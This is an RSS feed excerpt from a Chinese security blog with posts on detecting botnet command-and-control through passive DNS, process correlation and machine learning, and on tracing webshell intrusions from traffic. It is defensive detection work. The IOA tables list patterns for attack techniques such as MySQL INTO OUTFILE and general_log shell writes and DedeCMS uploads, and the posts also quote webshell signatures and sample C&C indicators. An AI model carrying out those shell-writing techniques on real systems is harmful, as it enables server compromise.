&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>阿里经济体生产网威胁检测实战</title><link>/posts/alibaba-production-network-threat-detection/</link><pubDate>Wed, 15 Jan 2020 19:22:00 +0800</pubDate><guid>/posts/alibaba-production-network-threat-detection/</guid><description>&lt;p&gt;&lt;a class="link" href="alibaba-threat-detection-slides.pdf" &gt;阿里经济体生产网威胁检测实战.pdf&lt;/a&gt;&lt;/p&gt;</description></item><item><title>基于流量与进程数据的Botnet追踪</title><link>/posts/botnet-tracking-via-traffic-and-process/</link><pubDate>Thu, 05 Jul 2018 17:48:00 +0800</pubDate><guid>/posts/botnet-tracking-via-traffic-and-process/</guid><description>&lt;h2 id="0x00-引言"&gt;0x00 引言
&lt;/h2&gt;&lt;p&gt;上一篇博客介绍如何通过流量自动化分析入侵原因。而云上治理，快速的发现当前活跃的botnet也是重点，团伙的识别能帮我我们聚类到高风险目标。本文主要介绍如何通过采集的流量数据和进程数据快速的发现Botnet。&lt;br&gt;
我们的武器库包含三大核心模型：网络关系模型（追踪C&amp;amp;C基础设施）、攻击行为模型（识别恶意进程行为特征）、NTA模型（机器学习驱动的异常检测） 。&lt;/p&gt;
&lt;h2 id="0x01-网络关系模型追踪cc"&gt;0x01 网络关系模型：追踪C&amp;amp;C
&lt;/h2&gt;&lt;h3 id="11-核心思想"&gt;1.1 核心思想
&lt;/h3&gt;&lt;p&gt;Botnet的无法隐藏的点是其C&amp;amp;C通信。无论僵尸网络如何进化——从早期的IRC Bot到HTTP-based Botnet，再到fast-flux和DGA等等——它们本质上都需要：&lt;strong&gt;与控制端保持通信&lt;/strong&gt;。&lt;br&gt;
网络关系模型的核心就是：通过识别和追踪这种通信关系，将整个僵尸网络的拓扑结构暴露出来。我们会通过已知的指纹提取，再利用图关联分析进行扩源。&lt;/p&gt;
&lt;h3 id="12-cc通信特征提取"&gt;1.2 C&amp;amp;C通信特征提取
&lt;/h3&gt;&lt;p&gt;识别Botnet的第一步是提取C&amp;amp;C通信特征。这需要从已知样本入手，通过多种技术手段获取协议特征。&lt;/p&gt;
&lt;h4 id="特征提取方法矩阵"&gt;特征提取方法矩阵
&lt;/h4&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;方法&lt;/th&gt;
 &lt;th&gt;描述&lt;/th&gt;
 &lt;th&gt;优势&lt;/th&gt;
 &lt;th&gt;局限性&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;逆向分析&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;反汇编恶意样本，提取硬编码的C&amp;amp;C协议&lt;/td&gt;
 &lt;td&gt;精确度高，可获取加密密钥甚至DGA算法&lt;/td&gt;
 &lt;td&gt;耗时耗人力&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;沙箱模拟&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;在隔离环境中运行样本，捕获网络通信&lt;/td&gt;
 &lt;td&gt;自动化程度高，可大规模部署&lt;/td&gt;
 &lt;td&gt;可能被反沙箱技术绕过&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;感染主机抓包&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;直接在已感染机器上抓取四层流量&lt;/td&gt;
 &lt;td&gt;真实数据，最为准确&lt;/td&gt;
 &lt;td&gt;包是乱序的，无法确认协议建联过程&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;以下是从不同Botnet家族提取的C&amp;amp;C通信特征检测规则：&lt;/p&gt;
&lt;p&gt;&lt;img src="/posts/botnet-tracking-via-traffic-and-process/cc-detection-rules.jpg"
	width="1049"
	height="454"
	loading="lazy"
	
 
	
		class="gallery-image" 
		data-flex-grow="231"
		data-flex-basis="554px"
	
&gt;&lt;/p&gt;
&lt;p&gt;通过基于特征的检测规则，可以得到第一批中控（C&amp;amp;C）候选 + 感染主机（Bots）列表，但这只是开胃菜：我们需要通过扩源来发现更多的僵尸网络。&lt;/p&gt;
&lt;h3 id="13-基于passive-dns的botnet追踪"&gt;1.3 基于Passive DNS的Botnet追踪
&lt;/h3&gt;&lt;p&gt;获取初始的C&amp;amp;C特征后，我们需要进一步通过关联、预测等方式扩大追踪整个僵尸网络的基础设施。Passive DNS（通过监听历史的DNS解析记录，可以记录跟踪详细的历史DNS机器解析记录）是我们最有力的武器之一。&lt;br&gt;
C&amp;amp;C 最常见的生存策略是：换域名、换 IP、fastflux等等。而 passive DNS 的价值在于：它记录了“所有域名历史曾经指向过哪里”，所以C&amp;amp;C的活动在详尽的passive dns记录下无所遁行。如通过抓到的中控IP，可以进一步关联出该IP历史解析的域名记录，通过该IP历史解析的域名记录也能进一步挖掘更多的中控IP，甚至发现用于服务发布的ns服务。&lt;/p&gt;
&lt;pre class="mermaid" style="visibility:hidden"&gt;flowchart LR
 subgraph "分析种子"
 S1[已知C&amp;C IP&lt;br/&gt;111.73.46.196]
 end
 
 subgraph "Passive DNS 关联"
 P1[历史解析域名&lt;br/&gt;tc8zdw.if1j0ytgkypa.tk]
 P2[IP解析记录&lt;br/&gt;158.69.133.18&lt;br/&gt;67.231.243.10]
 P3[同NS服务器&lt;br/&gt;ns1.tc8zdw.if1j0ytgkypa.tk]
 end
 
 subgraph "Botnet 网络结构"
 I1[C&amp;C Cluster A]
 I2[C&amp;C Cluster B]
 I3[发布服务]
 end
 
 S1 --&gt; P1
 P1 --&gt; P2
 P1 --&gt; P3
 P2 --&gt; I1
 P2 --&gt; I2
 P3 --&gt; I3
 
 style S1 fill:#ff4444,color:#fff
 style P1 fill:#ff8844,color:#fff
 style P2 fill:#ff8844,color:#fff
 style P3 fill:#ff8844,color:#fff
 style I1 fill:#ffaa44,color:#000
 style I2 fill:#ffaa44,color:#000
 style I3 fill:#ffaa44,color:#000&lt;/pre&gt;&lt;h3 id="14-基于进程关联的botnet追踪"&gt;1.4 基于进程关联的Botnet追踪
&lt;/h3&gt;&lt;p&gt;云的优势在于我们拥有进程级别的可见性。通过分析感染主机上的进程网络行为，可以发现更多中控IP。因为如果一个进程曾经连接已知C&amp;amp;C IP被识别为受控进程，那么它连接的其他IP也值得怀疑。同时感染进程连接的目标也可能是连接的也可能是攻击IP，所以需要通过统计维度进行过滤。&lt;/p&gt;
&lt;h3 id="15-误报消除降噪与过滤"&gt;1.5 误报消除（降噪与过滤）
&lt;/h3&gt;&lt;p&gt;扩源后的数据必然包含大量误报。我们通过两个思路来净化数据：&lt;/p&gt;
&lt;h4 id="方案一主动探测"&gt;方案一：主动探测
&lt;/h4&gt;&lt;p&gt;收集Botnet的上线包，反向连接可疑C&amp;amp;C进行探测：模拟 Bot 发送合法的“上线包”至疑似中控，观测返回包是否符合该Bot的上线特征(返回码、字段结构、长度分布、加密握手步骤是否符合)。&lt;br&gt;
&lt;img src="/posts/botnet-tracking-via-traffic-and-process/active-probing-botnet.jpg"
	width="829"
	height="129"
	loading="lazy"
	
 
	
		class="gallery-image" 
		data-flex-grow="642"
		data-flex-basis="1542px"
	
&gt;&lt;/p&gt;
&lt;h4 id="方案二-统计过滤"&gt;方案二: 统计过滤
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;命中特征种类数&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;同一IP同时命中多种特征（HTTP指纹 + TLS指纹 + 上线包结构）更可信&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;连接主机量与活跃持续性&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;一天内被多少不同主机连接？连续出现几天？是否与攻击窗口吻合？&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;目的端口稳定性&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;多host对同一端口的集中连接，比分散端口更像中控服务&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;地理分布&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;僵尸网络通常分布广泛，存在跨地域特征&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="0x02-攻击行为模型收集未知cc"&gt;0x02 攻击行为模型：收集未知C&amp;amp;C
&lt;/h2&gt;&lt;h3 id="21-设计思路"&gt;2.1 设计思路
&lt;/h3&gt;&lt;p&gt;网络关系模型依赖C&amp;amp;C特征，但某些新型Botnet的特征尚未被收录，或者使用了高度定制化（如自定义加密通信，所有case都逆向分析成本太高）的协议。这时候，我们需要从攻击行为入手。&lt;/p&gt;
&lt;p&gt;攻击行为模型的核心逻辑：即使C&amp;amp;C通信隐藏得再好，Bot最终要执行恶意行为，恶意行为是无法隐藏的，可以通过抓取恶意行为节点识别他们所共同连接的中枢就是C&amp;amp;C。&lt;/p&gt;
&lt;h3 id="22-蠕虫扫描行为特征"&gt;2.2 蠕虫扫描行为特征
&lt;/h3&gt;&lt;p&gt;扫描是蠕虫传播的核心手段。我们监控进程的网络行为，识别典型的扫描模式。DDoS攻击是蠕虫最常见的变现手段。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;扫描行为&lt;/strong&gt;：监控进程是否在短时间内发起大量的 TCP SYN 包,且连接成功率极低，目标分布极其离散，通常集中在一些高危端口(22/445/3389/2375)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DDoS行为&lt;/strong&gt;：基于已有的DDoS检测能力，不赘述。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="23-二进制校验"&gt;2.3 二进制校验
&lt;/h3&gt;&lt;p&gt;目前只是基于进程的行为发现的可疑进程列表，还需要评审给出明确的判定依据。首先可以通过二进制hash进行聚类，确认可能的家族。然后结合VirusTotal的多引擎扫描对hash进行快速的识别，是否恶意进程。&lt;/p&gt;
&lt;h2 id="0x03-nta模型机器学习放大"&gt;0x03 NTA模型：机器学习放大
&lt;/h2&gt;&lt;h3 id="31-从规则到智能"&gt;3.1 从规则到智能
&lt;/h3&gt;&lt;p&gt;前两个模型依赖人工规则和专家经验，但Botnet在不断进化。我们需要一种能够自适应学习的方法——这就是Network Traffic Analytics（NTA）模型的价值所在。通过特征工程收集足够多的特征，然后基于前面标准的样本训练二分类模型（实际使用中xgboost效果最好）。&lt;/p&gt;
&lt;h3 id="32-特征工程安全专家的经验量化"&gt;3.2 特征工程：安全专家的经验量化
&lt;/h3&gt;&lt;p&gt;原始的进程网络连接数据维度单一，需要结合安全经验进行特征增强：&lt;/p&gt;
&lt;h4 id="特征维度总览"&gt;特征维度总览
&lt;/h4&gt;&lt;pre class="mermaid" style="visibility:hidden"&gt;mindmap
 root((NTA特征体系))
 进程路径特征
 路径风险评分
 目录深度
 隐藏标识(.开头)
 敏感路径命中
 进程名特征
 文件名熵值
 命名模式匹配
 伪装系统进程
 网络行为特征
 连接端口分布
 目标IP分散度
 连接频率模式
 流量体积特征
 进程关系特征
 父进程类型
 进程树深度
 关联进程数&lt;/pre&gt;&lt;h3 id="33-特征详解"&gt;3.3 特征详解
&lt;/h3&gt;&lt;h4 id="特征一进程路径风险评分"&gt;特征一：进程路径风险评分
&lt;/h4&gt;&lt;p&gt;后门常出现在特殊路径：Windows Temp目录、Linux /tmp目录、伪装系统路径等。这些人在分析时是以经验的方式沉淀的，而针对机器学习模型，必须有办法量化度量，我们可以通过比例统计来将其量化。最终路径风险的计算方式是：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;路径风险分 = 该路径出现恶意进程的主机数 / 该路径出现任意进程的主机数
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;高风险路径示例：&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;路径模式&lt;/th&gt;
 &lt;th&gt;正常主机占比&lt;/th&gt;
 &lt;th&gt;异常主机占比&lt;/th&gt;
 &lt;th&gt;风险评分&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;/tmp/.*&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;15%&lt;/td&gt;
 &lt;td&gt;78%&lt;/td&gt;
 &lt;td&gt;0.84&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;/var/tmp/.*&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;8%&lt;/td&gt;
 &lt;td&gt;72%&lt;/td&gt;
 &lt;td&gt;0.90&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;/dev/shm/.*&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;3%&lt;/td&gt;
 &lt;td&gt;65%&lt;/td&gt;
 &lt;td&gt;0.96&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;C:\Windows\Temp\.*&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;22%&lt;/td&gt;
 &lt;td&gt;71%&lt;/td&gt;
 &lt;td&gt;0.76&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;C:\Users\*\AppData\Local\Temp\.*&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;45%&lt;/td&gt;
 &lt;td&gt;82%&lt;/td&gt;
 &lt;td&gt;0.65&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;/usr/sbin/sshd&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;99%&lt;/td&gt;
 &lt;td&gt;12%&lt;/td&gt;
 &lt;td&gt;0.11&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h4 id="特征二文件名熵值"&gt;特征二：文件名熵值
&lt;/h4&gt;&lt;p&gt;恶意软件经常使用随机生成的文件名来逃避检测。通过计算文件名的信息熵可以识别这种模式：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;熵值计算：&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;H = -Σ p(x) × log₂(p(x))
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;其中 p(x) 是字符 x 在文件名中出现的概率。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;熵值分布参考：&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;文件名类型&lt;/th&gt;
 &lt;th&gt;熵值范围&lt;/th&gt;
 &lt;th&gt;示例&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;正常可读&lt;/td&gt;
 &lt;td&gt;2.0 - 3.5&lt;/td&gt;
 &lt;td&gt;nginx, sshd, python&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;随机短串&lt;/td&gt;
 &lt;td&gt;3.5 - 4.2&lt;/td&gt;
 &lt;td&gt;a3f7x, kj8m2&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;随机长串&lt;/td&gt;
 &lt;td&gt;4.2 - 4.8&lt;/td&gt;
 &lt;td&gt;x8k3m9p2v5n7q&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;高度随机&lt;/td&gt;
 &lt;td&gt;&amp;gt;4.8&lt;/td&gt;
 &lt;td&gt;f7a3k9m2x8p5v1n6q4w&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h4 id="特征三连接端口分布"&gt;特征三：连接端口分布
&lt;/h4&gt;&lt;p&gt;进程连接的端口分布是重要的行为特征。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;正常进程经常连接端口：80/443、53、3306、22…&lt;/li&gt;
&lt;li&gt;风险进程经常连接端口：23/2323、445、2375、4444、矿池常见端口等&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;针对端口的连接次数是连续变量，且分布极不均匀，可以将其分桶离散化得到更好的训练效果。&lt;/p&gt;
&lt;h4 id="特征四父进程关系"&gt;特征四：父进程关系
&lt;/h4&gt;&lt;p&gt;恶意进程的父子进程往往具有特定模式：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;孤儿进程&lt;/li&gt;
&lt;li&gt;业务容器/脚本引擎拉起不该出现的二进制&lt;/li&gt;
&lt;li&gt;同类异常进程共享同一父进程链&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;人工分析时能够有效的基于这些特征作为判断，所以我们可以将其作为标签辅助进行训练。例如：&lt;/p&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;父进程类型&lt;/th&gt;
 &lt;th&gt;说明&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;Web服务进程(nginx/apache/php-fpm)&lt;/td&gt;
 &lt;td&gt;Webshell执行命令&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;数据库进程(mysql/postgres)&lt;/td&gt;
 &lt;td&gt;SQL注入后门&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;脚本解释器(python/perl/ruby)&lt;/td&gt;
 &lt;td&gt;脚本执行&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="34-样本来源"&gt;3.4 样本来源
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;正样本（恶意）&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;网络关系模型产出&lt;/li&gt;
&lt;li&gt;攻击行为模型产出&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;负样本（正常）&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;长期稳定业务进程&lt;/li&gt;
&lt;li&gt;系统组件&lt;/li&gt;
&lt;li&gt;经过VT标注为正常的进程&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="0x04-三位一体核打击botnet--"&gt;0x04 三位一体：核打击Botnet : )
&lt;/h2&gt;&lt;p&gt;三个模型并非孤立运作，而是形成协同联动的检测体系：&lt;br&gt;
&lt;img src="/posts/botnet-tracking-via-traffic-and-process/three-model-synergy.jpg"
	width="1840"
	height="996"
	loading="lazy"
	
 
	
		class="gallery-image" 
		data-flex-grow="184"
		data-flex-basis="443px"
	
&gt;&lt;/p&gt;</description></item><item><title>基于流量的入侵原因自动化分析</title><link>/posts/automated-intrusion-analysis-via-traffic/</link><pubDate>Thu, 05 Apr 2018 20:53:00 +0800</pubDate><guid>/posts/automated-intrusion-analysis-via-traffic/</guid><description>&lt;p&gt;而针对海量的租户和攻击事件，如何快速的定位入侵原因，是云平台安全治理的基石。快速定位目前有哪些0 Day/N Day/攻击手法在云平台上造成大批入侵，可以快速部署拦截策略来控制蠕虫的蔓延保证云平台的稳定性和信誉。那么基于云上的流量数据，如何从每秒数亿次的瞬时流量中，精准定位出那一颗导致 Webshell 落地的“子弹”？&lt;/p&gt;
&lt;p&gt;针对海量的流量，人工分析入侵原因已经是不可行的路径了，本文介绍如何基于“流量关联”与“机器学习”实现从 Webshell 发现到自动化的入侵溯源。&lt;/p&gt;
&lt;h2 id="核心挑战"&gt;核心挑战
&lt;/h2&gt;&lt;p&gt;面对云上海量实用不同协议乃至加密通信的流量，当HIDS 报出一个webshell &lt;code&gt;/var/www/html/css/shell.php&lt;/code&gt; 时，溯源通常面临几个难点：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;时间断层&lt;/strong&gt;：Webshell 可能是半个月前通过一个 0-day 漏洞写入的。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;特征对抗&lt;/strong&gt;：攻击流量可能经过 Hex、Base64 编码或混淆，绕过传统的 WAF 规则。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;信息缺失&lt;/strong&gt;：攻击可能来自非标端口缺失攻击payload信息采集，可能走的加密协议，即使捕获流量也无法分析&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="具体实现"&gt;具体实现
&lt;/h2&gt;&lt;p&gt;我们可以用来分析的流量数据主要有两种：&lt;br&gt;
全量五元组: 源IP地址、源端口、目的IP地址、目的端口和传输层协议&lt;br&gt;
通用协议捕获的流量数据: 如HTTP、Redis、SQL等&lt;/p&gt;
&lt;p&gt;我们的溯源逻辑分为两条技术路径：&lt;strong&gt;针对流量数据基于规则与 IOA（攻击特征表） 的确定性关联&lt;/strong&gt;，以及&lt;strong&gt;针对五元组基于机器学习的概率预测&lt;/strong&gt;。&lt;/p&gt;
&lt;h3 id="1-流量关联寻找案发现场的指纹"&gt;1. 流量关联：寻找案发现场的“指纹”
&lt;/h3&gt;&lt;p&gt;流量关联的核心逻辑是：&lt;strong&gt;寻找流量中Payload与Webshell文件写入之间的因果联系。&lt;/strong&gt;&lt;/p&gt;
&lt;h4 id="11-通用场景时间窗口关联"&gt;1.1 通用场景：时间窗口关联
&lt;/h4&gt;&lt;p&gt;最直接的溯源方式是&lt;strong&gt;时间关联&lt;/strong&gt;：以主机检测到 Webshell 的时间点为锚点，向前向后关联可疑的 HTTP 请求。然后通过Webshell的相关特征，从不同维度关联可能的攻击请求。可以用于关联的维度如下:&lt;/p&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;维度&lt;/th&gt;
 &lt;th&gt;匹配逻辑&lt;/th&gt;
 &lt;th&gt;说明&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;文件名&lt;/td&gt;
 &lt;td&gt;URI 中包含 Webshell 文件名&lt;/td&gt;
 &lt;td&gt;如检测到 &lt;code&gt;/uploads/x.php&lt;/code&gt;，则搜索包含 &lt;code&gt;x.php&lt;/code&gt; 的请求&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;文件内容&lt;/td&gt;
 &lt;td&gt;请求体中包含 Webshell 特征码&lt;/td&gt;
 &lt;td&gt;如请求体中存在 &lt;code&gt;eval($_POST&lt;/code&gt; 等特征&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;目标路径&lt;/td&gt;
 &lt;td&gt;URI 路径与 Webshell 所在目录匹配&lt;/td&gt;
 &lt;td&gt;如 Webshell 在 &lt;code&gt;/uploads/&lt;/code&gt; 下，关联该目录所有写入请求&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;在进行特征关联前，需要对可以攻击请求进行自动化解码和归一化预处理,例如:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;多层解码&lt;/strong&gt;：针对 &lt;code&gt;url_encode&lt;/code&gt; -&amp;gt; &lt;code&gt;base64&lt;/code&gt; -&amp;gt; &lt;code&gt;hex&lt;/code&gt; 的嵌套混淆进行递归还原。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Payload 归一化&lt;/strong&gt;：例如针对 DedeCMS 常见的数组注入攻击，需要识别特殊的 URL 参数模式（如 &lt;code&gt;/plus/download.php?open=1&amp;amp;arrs1[]=99&amp;amp;arrs1[]=102...&lt;/code&gt;）并将其还原为原始的攻击指令。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src="/posts/automated-intrusion-analysis-via-traffic/traffic-correlation-webshell.jpg"
	width="2502"
	height="2160"
	loading="lazy"
	
 
	
		class="gallery-image" 
		data-flex-grow="115"
		data-flex-basis="278px"
	
&gt;&lt;/p&gt;
&lt;h4 id="12-场景二从webshell-访问流量反推入侵流量"&gt;1.2 场景二：从“Webshell 访问流量”反推“入侵流量”
&lt;/h4&gt;&lt;p&gt;除了HIDS本地检测Webshell，从流量中识别Webshell被访问的行为也可以检出Webshell。通常从流量中可以通过如下思路识别Webshell访问行为:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;request + response 特征&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;如命令执行+命令执行结果（shell特征）&lt;/li&gt;
&lt;li&gt;典型：&lt;code&gt;cmd=whoami&lt;/code&gt; ↔ &lt;code&gt;www-data&lt;/code&gt;，&lt;code&gt;cmd=id&lt;/code&gt; ↔ &lt;code&gt;uid=0(root)&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Webshell payload 特征&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;常见一句话特征关键函数组合（固定参数名 z0/z1/z2，响应格式 &lt;code&gt;X@Y...X@Y&lt;/code&gt;等）、特定工具的协议/字段形态（菜刀/蚁剑/冰蝎/哥斯拉等）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;统计特征异常&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;访问 IP 分布异常、孤立页面（空 referer 或 referer=自身）、URI 形态异常（随机串/高熵/短周期爆发）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;请求重放验证&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;请求重放通过响应内容确认&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在这种场景的溯源更为直接， 通过提取攻击者 IP(会话特征、UA等)，用该 IP 关联当天全部 HTTP 日志 → 清洗可疑请求 → 与 IOA 表匹配 → 找到真正的“写入/利用”请求。&lt;/p&gt;
&lt;p&gt;&lt;img src="/posts/automated-intrusion-analysis-via-traffic/webshell-traffic-traceback.jpg"
	width="2688"
	height="2160"
	loading="lazy"
	
 
	
		class="gallery-image" 
		data-flex-grow="124"
		data-flex-basis="298px"
	
&gt;&lt;/p&gt;
&lt;h4 id="13-ioa攻击特征表把有效攻击从海量请求里抠出来"&gt;1.3 IOA（攻击特征表）：把“有效攻击”从海量请求里抠出来
&lt;/h4&gt;&lt;p&gt;IOA 不同于 IOC（失陷指标），它侧重于&lt;strong&gt;攻击行为特征&lt;/strong&gt;。我们通过对海量攻击样本的抽象，建立了一套动态更新的 IOA 正则库。基于该正则可以将可以的HTTP流量筛选出相应的攻击证据。&lt;br&gt;
通过将攻击请求关联IOA特征提取出相应的攻击特征，等于提取有效的攻击及其meta信息，从而压缩数据可以长期沉淀成离线攻击特征库，可以应对历史中入侵的Webshell近期被发现的case。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;HTTP IOA 示例&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;IOA ID&lt;/th&gt;
 &lt;th&gt;攻击类型&lt;/th&gt;
 &lt;th&gt;匹配字段&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;DEDECMS_UPLOAD&lt;/td&gt;
 &lt;td&gt;DedeCMS后台上传&lt;/td&gt;
 &lt;td&gt;uri: /file_manage_control.php/ &amp;amp;&amp;amp; post: /filename=(.*.php)/ &amp;amp;&amp;amp; ret_code: 200&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;PHPMYADMIN_IMPORT&lt;/td&gt;
 &lt;td&gt;phpMyAdmin利用写入&lt;/td&gt;
 &lt;td&gt;myadmin\/+(import&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;DEDECMS_UPLOAD&lt;/td&gt;
 &lt;td&gt;DedeCMS文件上传&lt;/td&gt;
 &lt;td&gt;(\/+tpl\.php)&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;img src="/posts/automated-intrusion-analysis-via-traffic/http-ioa-attack-features.jpg"
	width="2372"
	height="2072"
	loading="lazy"
	
 
	
		class="gallery-image" 
		data-flex-grow="114"
		data-flex-basis="274px"
	
&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;四层 IOA 示例&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;IOA ID&lt;/th&gt;
 &lt;th&gt;攻击类型&lt;/th&gt;
 &lt;th&gt;匹配字段&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;MYSQL_GENERAL_LOG&lt;/td&gt;
 &lt;td&gt;General_log 写 Shell&lt;/td&gt;
 &lt;td&gt;set[\s\S]*?general_log_file&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;MYSQL_OUTFILE&lt;/td&gt;
 &lt;td&gt;INTO OUTFILE 写 Shell&lt;/td&gt;
 &lt;td&gt;select .&lt;em&gt;?into.&lt;/em&gt;?(outfile&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;REDIS_DBFILE_SHELL&lt;/td&gt;
 &lt;td&gt;Redis写入Shell&lt;/td&gt;
